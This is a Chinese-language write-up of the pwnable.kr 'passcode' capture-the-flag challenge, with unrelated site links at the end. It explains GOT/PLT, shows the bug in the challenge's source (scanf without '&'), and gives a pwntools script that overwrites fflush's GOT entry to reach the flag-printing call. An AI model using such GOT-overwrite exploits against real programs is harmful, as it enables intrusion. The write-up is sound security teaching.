passcode - pwnable
passcode - pwnable
本题运用到GOT表覆写技术,先摘取一段来自Jing0107关于Linux的GOT和PLT的知识:
GOT表:
概念:每一个外部定义的符号在全局偏移表(Global offset Table )中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。
PLT表:
过程连接表(Procedure LinkageTable),一个PLT条目对应一个GOT条目
当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
GOT覆写技术:
原理:由于got表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。
1.获取题目
我们先用ssh链接上pwnable的服务器获取题目。在终端输入ssh passcode@pwnable.kr -p2222
,出现提示后输入密码guest
查看目录下有的文件以及文件权限ls -l
2. 运行程序、查看文件类型、保护措施
我们先运行一下。首先需要输入用户名,接着输入密码1,密码2检查中,登录失败。
查看文件的基本信息:32位动态链接的ELF
查看文件的保存措施:有栈溢出保护和NX(数据执行保护)
3.分析源码
题目有给出源码,查看源码:cat passcode.c
#include <stdio.h>
#include <stdlib.h>void login(){int passcode1;int passcode2;printf("enter passcode1 : ");scanf("%d", passcode1);fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d", passcode2);printf("checking...\n");if(passcode1==338150 && passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}
}void welcome(){char name[100];printf("enter you name : ");scanf("%100s", name);printf("Welcome %s!\n", name);
}int main(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return 0;
}
看完源码,我们可以知道:当passcode1==338150 && passcode2==13371337时,程序会运行system("/bin/cat flag"),给出flag的内容。但是当我们输入对应值时,程序运行出错了。
我看第一遍的时候没有发现问题,那么根据题目和源码打印字符串的提示,尝试gcc编译一下,编译器给出警告:
发现是在scanf
函数时,缺少了一个&
号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。
简单解释就是scanf
中的passcode
前少加了一个&
,导致函数读取变量passcode的值,作为写入的内存地址,而不是写入变量passcode的内存地址。
因此,如果scanf读取passcode的值作为写入地址,而写入地址不可写,那么就会造成一个内存错误。
解题关键点在welcome函数,在函数体内定义了一个100字节的字符串。
我们在IDA中查看这个定义了字符串(v1)(源码中的name)位置,距离栈底70(ebp-70h)。
我们再看main函数体中,welcome函数和login函数是连续调用的,导致它们拥有相同的栈底(ebp)。
那我们再看看login函数中,有哪些变量在栈上?password1(v1)和password2(v2)。
前面我们知道了scanf函数会,将password的初始值当做写入的内存地址。那我们就要看看password的值是否是定义时有初始值,有没有可能被修改了,尤其是welcome函数定义了一个100字节字符串。
从IDA分析来看name与password1的距离是96字节(0x70-0x10),即password1初始值有可能被覆盖修改了。
结合前面补充的GOT表知识,我们可以尝试这样:利用100字节的变量name,覆写修改password的值为GOT表上某一外部函数的地址,然后scanf将system(‘\bin\cat flag’)的内存地址写入GOT表某一函数上,如果程序调用这个被修改的函数,那么就等同于执行system(‘\bin\cat flag’)。
我们先来查询程序的GOT表:
passcode@ubuntu:~$ objdump -R passcodepasscode: file format elf32-i386DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 //printf的地址
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
结合IDA分析,可以看到调用scanf之后,就马上调用了fflush。我们就将password1的值替换为fflush在GOT表中地址,即0x0804a004
当程序要求我们输入password1时,填入调用flag命令的内存地址:0x080485E3
4.编写利用脚本
from pwn import *pwn = process('./passcode')#加载程序fflush_got_addr = 0x0804a004#fflush函数在GOT表地址
call_flag_addr = 0x080485E3#调用flag命令的内存地址payload = 'a' * (0x70 - 0x10) + p32(fflush_got_addr)#将地址转换为字符串,输入给变量namepwn.send(payload)#向程序发送字符串
pwn.send(str(call_flag_addr))#将内存地址转完为十进制的字符串。pwn.interactive()#移交控制权
5.总结
- GOT表可改写;GOT表记录外部函数的真实地址,可以修改GOT表中记录的地址为我们想程序执行的内存地址,当程序调用被修改了GOT表的函数时,则会运行我们所期望的命令,而程序认为自己运行了外部函数。
6. 参考文章
pwnable.kr的passcode
【pwnable.kr】passcode
pwnable.kr的passcode
pwnable.kr 之 passcode write up
passcode - pwnable相关推荐
- PWN passcode [pwnable.kr]CTF writeup题解系列5
直接看题目: 连接服务器看看情况: root@mypwn:/ctf/work/pwnable.kr# ssh passcode@pwnable.kr -p2222 passcode@pwnable.k ...
- 【pwnable.kr】passcode
pwnable从入门到放弃,第六题. ssh passcode@pwnable.kr -p2222 (pw:guest) 完全是'&'的锅. #include <stdio.h> ...
- pwnable.kr - passcode
这个题考查的是GOT表覆写 先来说说做题的思路和方法,看到源代码 void login(){int passcode1;int passcode2;printf("enter passcod ...
- pwnable.kr wp passcode
题目 Mommy told me to make a passcode based login system. My initial C code was compiled without any e ...
- pwnable.rk [Toddler‘s Bottle] 5、passcode 详细过程
最近在学习pwn,做到这个题搜了一些资料,弄了挺长时间,记录一下. passcode.c代码如下: #include <stdio.h> #include <stdlib.h> ...
- 乱七八糟的pwn入门(六)——5.passcode
审题 首先看题目: 连上服务器,看一下这次的代码: #include <stdio.h> #include <stdlib.h>void login(){int passcod ...
- pwnable.kr-passcode WP
首先用ssh连进去,一个可执行文件,一个源码文件,一个flag文件,先执行passcode程序,让你输入name,passcode1,passcode2,如图. 我们先用scp命令把文件拷贝下来,sc ...
- pwnable.kr-passcode
这道题的难点在于GOT表覆写,理解了GOT表和PLT表的关系就比较好做了. 函数在调用printf等函数的时候需要访问PLT表,而PLT表中储存的是GOT表对应项的地址. 另外一点就是scanf的参数 ...
- pwnable.kr 简单题目详细笔记汇总
文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...
最新文章
- poj 1265 Area(pick 定理)
- 【Google Play】Android 应用用户协议 ( 生成用户协议 | HTML 用户协议模板 | Markdown 用户协议模板 )
- 寒假每日一题(提高组)【Week 4 完结】
- AssertionError: Path does not exist: py-faster-rcnn/data/VOCdevkit2007/VOC2007/ImageSets/Main
- linux三剑客之awk (用于个人学习以及回顾)
- 10_上午回顾数据库事务
- CodeForces - 1293C NEKO's Maze Game(思维,水题)
- 【Verilog HDL学习之路】第一章 Verilog HDL 数字设计总论
- 《互联网人如厕报告》,厕所竟成互联网人的 “最后净土”
- 【Qt教程】1.8 - Qt5-Lambda表达式
- 全球高校CS实力最新排行:清华AI界第二,中科院视觉领域最强
- 3) Maven 目录结构
- 查看硬件配置信息 lshw
- 形形色色的Linux 发行版代号都在这里
- 04Reverse基础(五)
- 微信公众号聊天机器人
- CentOS 8安装源设置基础软件仓库时出错
- 求个单片机控制双向可控硅调光电路电压220V
- UG/NX二次开发-阿飞博客专栏目录(九块九抄代码)
- Java Socket正确读取数据姿势
热门文章
- 面试官:你在平时的工作中遇到过哪些问题让你印象深刻?
- Lesson 18 Kaggle医学影像识别 PART 1
- 加密货币涨跌的原理到底是什么?
- j1_8。实现打折功能关键算法。编写程序计算购买图书的总金额。
- 灯具如何利用网络打造品牌品牌实现销售增长?
- 大家保险发布“早下班一小时”倡议,呼吁“重阳节,不脱节”
- 小米SN保修_一次真实但糟糕的小米笔记本售后
- python获取计算机时间_在Python中获取计算机的UTC偏移量
- MMC,SD,MINI SD,SDHC,SDHC的区别总结
- cat全链路监控_全链路监控选型